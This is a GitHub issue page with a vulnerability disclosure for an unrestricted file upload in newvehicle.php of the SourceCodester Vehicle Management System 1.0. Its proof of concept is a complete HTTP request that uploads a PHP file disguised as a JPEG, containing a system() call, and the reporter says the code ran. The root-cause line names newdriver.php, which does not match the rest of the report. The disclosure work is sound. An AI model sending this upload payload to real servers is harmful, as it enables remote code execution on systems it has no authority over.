Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SourceCodester Vehicle Management System in PHP/MySQL 1.0 newvehicle.php Unrestricted Upload #1

Open
yuyuliq opened this issue May 24, 2024 · 0 comments

Comments

@yuyuliq
Copy link
Owner

yuyuliq commented May 24, 2024

SourceCodester Vehicle Management System in PHP/MySQL 1.0 newvehicle.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

  • Vehicle Management System in PHP/MySQL

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • Zhou Jiaming

Vulnerable File

  • newvehicle.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • File upload

Root Cause

  • In line 23 of the newdriver.php file, the input obtained through $-FILES is directly used to determine the storage location of the file without verification or cleaning. The specific code snippet is as follows:
  • 1

Impact

  • Attackers can exploit this vulnerability for unrestricted uploads, which may lead to file overwrite, file injection, directory traversal attacks, and denial of service attacks. Remote attacks may also result in RCE

DESCRIPTION

  • Zhou Jiaming discovered that the file upload operation was triggered on line 23 of the 'newvehicle.php' file and the uploaded file was received using the '$-FILES' variable. Due to the lack of appropriate input validation and cleaning, remote attackers can pass malicious payloads through this file upload feature, resulting in unrestricted file uploads, which may further lead to remote code execution (RCE).

Vulnerability details and POC

Payload

POST /newvehicle.php HTTP/1.1
Host: 20.20.20.128:8118
Content-Length: 990
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://20.20.20.128:8118
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBTmrbmZQr7Fj0jSA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://20.20.20.128:8118/newvehicle.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryBTmrbmZQr7Fj0jSA
Content-Disposition: form-data; name="vehregno"

1
------WebKitFormBoundaryBTmrbmZQr7Fj0jSA
Content-Disposition: form-data; name="type"

car
------WebKitFormBoundaryBTmrbmZQr7Fj0jSA
Content-Disposition: form-data; name="vehchesis"

1
------WebKitFormBoundaryBTmrbmZQr7Fj0jSA
Content-Disposition: form-data; name="vehbrand"

1
------WebKitFormBoundaryBTmrbmZQr7Fj0jSA
Content-Disposition: form-data; name="vehcolor"

1
------WebKitFormBoundaryBTmrbmZQr7Fj0jSA
Content-Disposition: form-data; name="vehregdate"

1
------WebKitFormBoundaryBTmrbmZQr7Fj0jSA
Content-Disposition: form-data; name="vehdescription"

 1
------WebKitFormBoundaryBTmrbmZQr7Fj0jSA
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg


<?php system("ipconfig"); ?>
------WebKitFormBoundaryBTmrbmZQr7Fj0jSA
Content-Disposition: form-data; name="submit"

鎻愪氦
------WebKitFormBoundaryBTmrbmZQr7Fj0jSA--

  • 2

I successfully executed the PHP script on the terminal

  • 3
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant